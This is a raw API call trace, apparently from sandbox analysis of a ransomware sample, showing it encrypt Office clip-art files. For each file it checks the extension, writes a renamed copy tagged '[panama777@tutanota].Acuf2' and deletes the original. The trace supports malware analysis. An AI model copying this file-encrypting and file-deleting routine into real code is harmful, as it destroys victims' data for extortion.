	[0272.236] lstrlenW (lpString=".dbf") returned 4
	[0272.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63
	[0272.236] lstrlenW (lpString=".1cd") returned 4
	[0272.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63
	[0272.236] lstrlenW (lpString=".jpg") returned 4
	[0272.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.377] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.377] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0272.378] GetLastError () returned 0x0
	[0272.378] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1714, lpOverlapped=0x0) returned 1
	[0272.383] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1720, lpOverlapped=0x0) returned 1
	[0272.384] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.384] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.384] SetEndOfFile (hFile=0x334) returned 1
	[0272.384] CloseHandle (hObject=0x334) returned 1
	[0272.384] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.384] SetEndOfFile (hFile=0x358) returned 1
	[0272.386] CloseHandle (hObject=0x358) returned 1
	[0272.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103812.wmf")) returned 1
	[0272.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63
	[0272.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63
	[0272.386] lstrlenW (lpString=".doc") returned 4
	[0272.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.386] lstrlenW (lpString=".docx") returned 5
	[0272.386] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0272.387] lstrlenW (lpString=".pdf") returned 4
	[0272.387] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.387] lstrlenW (lpString=".xls") returned 4
	[0272.387] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.387] lstrlenW (lpString=".xlsx") returned 5
	[0272.387] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0272.387] lstrlenW (lpString=".ppt") returned 4
	[0272.387] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63
	[0272.387] lstrlenW (lpString=".zip") returned 4
	[0272.387] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.387] lstrlenW (lpString=".rar") returned 4
	[0272.387] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.387] lstrlenW (lpString=".bz2") returned 4
	[0272.387] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.387] lstrlenW (lpString=".7z") returned 3
	[0272.387] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63
	[0272.387] lstrlenW (lpString=".dbf") returned 4
	[0272.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63
	[0272.387] lstrlenW (lpString=".1cd") returned 4
	[0272.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103812.WMF") returned 63
	[0272.387] lstrlenW (lpString=".jpg") returned 4
	[0272.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.388] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=23596) returned 1
	[0272.388] CloseHandle (hObject=0x358) returned 1
	[0272.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf")) returned 0x20
	[0272.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0272.388] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.388] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0272.388] GetLastError () returned 0x0
	[0272.389] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x5c2c, lpOverlapped=0x0) returned 1
	[0272.400] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x5c30, lpOverlapped=0x0) returned 1
	[0272.402] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.402] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.402] SetEndOfFile (hFile=0x334) returned 1
	[0272.402] CloseHandle (hObject=0x334) returned 1
	[0272.402] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.402] SetEndOfFile (hFile=0x358) returned 1
	[0272.405] CloseHandle (hObject=0x358) returned 1
	[0272.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103850.wmf")) returned 1
	[0272.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63
	[0272.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63
	[0272.405] lstrlenW (lpString=".doc") returned 4
	[0272.405] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.405] lstrlenW (lpString=".docx") returned 5
	[0272.405] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0272.405] lstrlenW (lpString=".pdf") returned 4
	[0272.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.405] lstrlenW (lpString=".xls") returned 4
	[0272.405] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.405] lstrlenW (lpString=".xlsx") returned 5
	[0272.405] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0272.406] lstrlenW (lpString=".ppt") returned 4
	[0272.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63
	[0272.406] lstrlenW (lpString=".zip") returned 4
	[0272.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.406] lstrlenW (lpString=".rar") returned 4
	[0272.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.406] lstrlenW (lpString=".bz2") returned 4
	[0272.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.406] lstrlenW (lpString=".7z") returned 3
	[0272.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63
	[0272.406] lstrlenW (lpString=".dbf") returned 4
	[0272.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63
	[0272.406] lstrlenW (lpString=".1cd") returned 4
	[0272.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103850.WMF") returned 63
	[0272.406] lstrlenW (lpString=".jpg") returned 4
	[0272.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.407] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=5172) returned 1
	[0272.407] CloseHandle (hObject=0x358) returned 1
	[0272.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf")) returned 0x20
	[0272.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0272.407] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.407] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0272.407] GetLastError () returned 0x0
	[0272.407] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1434, lpOverlapped=0x0) returned 1
	[0272.670] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1440, lpOverlapped=0x0) returned 1
	[0272.688] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.688] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.688] SetEndOfFile (hFile=0x334) returned 1
	[0272.688] CloseHandle (hObject=0x334) returned 1
	[0272.688] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.688] SetEndOfFile (hFile=0x358) returned 1
	[0272.691] CloseHandle (hObject=0x358) returned 1
	[0272.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf")) returned 1
	[0272.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63
	[0272.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63
	[0272.691] lstrlenW (lpString=".doc") returned 4
	[0272.691] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.691] lstrlenW (lpString=".docx") returned 5
	[0272.691] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0272.691] lstrlenW (lpString=".pdf") returned 4
	[0272.691] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.691] lstrlenW (lpString=".xls") returned 4
	[0272.691] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.691] lstrlenW (lpString=".xlsx") returned 5
	[0272.692] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0272.692] lstrlenW (lpString=".ppt") returned 4
	[0272.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63
	[0272.692] lstrlenW (lpString=".zip") returned 4
	[0272.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.692] lstrlenW (lpString=".rar") returned 4
	[0272.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.692] lstrlenW (lpString=".bz2") returned 4
	[0272.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.692] lstrlenW (lpString=".7z") returned 3
	[0272.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63
	[0272.692] lstrlenW (lpString=".dbf") returned 4
	[0272.692] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63
	[0272.692] lstrlenW (lpString=".1cd") returned 4
	[0272.692] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF") returned 63
	[0272.692] lstrlenW (lpString=".jpg") returned 4
	[0272.692] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.693] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=15832) returned 1
	[0272.693] CloseHandle (hObject=0x358) returned 1
	[0272.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf")) returned 0x20
	[0272.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0272.693] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.693] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0272.693] GetLastError () returned 0x0
	[0272.694] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x3dd8, lpOverlapped=0x0) returned 1
	[0272.695] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x3de0, lpOverlapped=0x0) returned 1
	[0272.696] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.696] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.696] SetEndOfFile (hFile=0x334) returned 1
	[0272.696] CloseHandle (hObject=0x334) returned 1
	[0272.696] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.696] SetEndOfFile (hFile=0x358) returned 1
	[0272.698] CloseHandle (hObject=0x358) returned 1
	[0272.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf")) returned 1
	[0272.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63
	[0272.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63
	[0272.699] lstrlenW (lpString=".doc") returned 4
	[0272.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.699] lstrlenW (lpString=".docx") returned 5
	[0272.699] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0272.699] lstrlenW (lpString=".pdf") returned 4
	[0272.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.699] lstrlenW (lpString=".xls") returned 4
	[0272.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.699] lstrlenW (lpString=".xlsx") returned 5
	[0272.699] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0272.699] lstrlenW (lpString=".ppt") returned 4
	[0272.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63
	[0272.699] lstrlenW (lpString=".zip") returned 4
	[0272.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.699] lstrlenW (lpString=".rar") returned 4
	[0272.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.699] lstrlenW (lpString=".bz2") returned 4
	[0272.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.700] lstrlenW (lpString=".7z") returned 3
	[0272.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63
	[0272.700] lstrlenW (lpString=".dbf") returned 4
	[0272.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63
	[0272.700] lstrlenW (lpString=".1cd") returned 4
	[0272.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63
	[0272.700] lstrlenW (lpString=".jpg") returned 4
	[0272.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.700] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=14868) returned 1
	[0272.700] CloseHandle (hObject=0x358) returned 1
	[0272.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf")) returned 0x20
	[0272.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0272.701] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.701] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0272.701] GetLastError () returned 0x0
	[0272.701] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x3a14, lpOverlapped=0x0) returned 1
	[0272.703] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x3a20, lpOverlapped=0x0) returned 1
	[0272.704] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.704] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.704] SetEndOfFile (hFile=0x334) returned 1
	[0272.704] CloseHandle (hObject=0x334) returned 1
	[0272.704] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
